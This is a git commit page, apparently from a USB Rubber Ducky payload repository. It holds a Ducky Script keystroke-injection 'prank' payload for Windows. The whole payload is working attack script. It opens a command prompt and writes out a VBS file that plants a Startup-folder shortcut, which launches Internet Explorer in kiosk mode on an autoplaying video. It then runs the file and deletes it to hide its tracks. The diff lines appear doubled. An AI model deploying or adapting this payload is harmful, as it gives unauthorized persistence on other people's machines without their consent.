Updated Payload ugly rolled prank (rdoc)

This commit is contained in:
hak5darren 2012-02-03 18:17:36 -08:00
parent e1728d6a4f
commit d51f3aeb74
1 changed files with 33 additions and 33 deletions

View File

@ -2,36 +2,36 @@ Author: petertfm
Duckencoder: 1.2 Duckencoder: 1.2
Target: Windows vista/7 Target: Windows vista/7
Description: User start-up prank, Please see REM in the script. Description: User start-up prank, Please see REM in the script.
REM YouveBeenUglyRolled By petertfm REM YouveBeenUglyRolled By petertfm
REM payload creats a vbs script that is run to make a YouveBeenUglyRolled.lnk to IE in the users start-up folder REM payload creats a vbs script that is run to make a YouveBeenUglyRolled.lnk to IE in the users start-up folder
REM IE is set to run in kiosk mode "-K" and links to youtube with a very annoying lady gaga with jim carrey's face video REM IE is set to run in kiosk mode "-K" and links to youtube with a very annoying lady gaga with jim carrey's face video
REM note if running in 64 bit windows, you may need to change %programfiles% with %programfiles(x86)% flash player 64 bit may not be installed! REM note if running in 64 bit windows, you may need to change %programfiles% with %programfiles(x86)% flash player 64 bit may not be installed!
ESCAPE ESCAPE
GUI r GUI r
DELAY 120 DELAY 120
STRING cmd.exe STRING cmd.exe
ENTER ENTER
DELAY 325 DELAY 325
STRING copy con YouveBeenUglyRolled.vbs STRING copy con YouveBeenUglyRolled.vbs
ENTER ENTER
STRING Set WshShell = WScript.CreateObject("WScript.Shell"): STRING Set WshShell = WScript.CreateObject("WScript.Shell"):
STRING StrMyStartUp = WshShell.SpecialFolders("Startup"): STRING StrMyStartUp = WshShell.SpecialFolders("Startup"):
STRING Set lnk = WshShell.CreateShortcut(StrMyStartUp + "\YouveBeenUglyRolled.lnk"): STRING Set lnk = WshShell.CreateShortcut(StrMyStartUp + "\YouveBeenUglyRolled.lnk"):
ENTER ENTER
STRING lnk.TargetPath = "%programfiles%\Internet Explorer\iexplore.exe": STRING lnk.TargetPath = "%programfiles%\Internet Explorer\iexplore.exe":
REM place any link here, this one is a very annoying lady gaga with jim carrey's face REM place any link here, this one is a very annoying lady gaga with jim carrey's face
REM the -K option makes IE run in kiosk mode REM the -K option makes IE run in kiosk mode
STRING lnk.Arguments = "-K http://www.youtube.com/v/XYYo3T6nCw8?autoplay=1": STRING lnk.Arguments = "-K http://www.youtube.com/v/XYYo3T6nCw8?autoplay=1":
REM also try http://www.youtube.com/v/9WZGyzz5O-U?autoplay=1 for katy perry rip, or REM also try http://www.youtube.com/v/9WZGyzz5O-U?autoplay=1 for katy perry rip, or
REM http://www.youtube.com/v/HqGsT6VM8Vg?autoplay=1 for scary car video REM http://www.youtube.com/v/HqGsT6VM8Vg?autoplay=1 for scary car video
STRING lnk.Save STRING lnk.Save
ENTER ENTER
CTRL z CTRL z
ENTER ENTER
STRING YouveBeenUglyRolled.vbs STRING YouveBeenUglyRolled.vbs
ENTER ENTER
DELAY 200 DELAY 200
STRING DEL YouveBeenUglyRolled.vbs STRING DEL YouveBeenUglyRolled.vbs
ENTER ENTER
STRING EXIT STRING EXIT
ENTER ENTER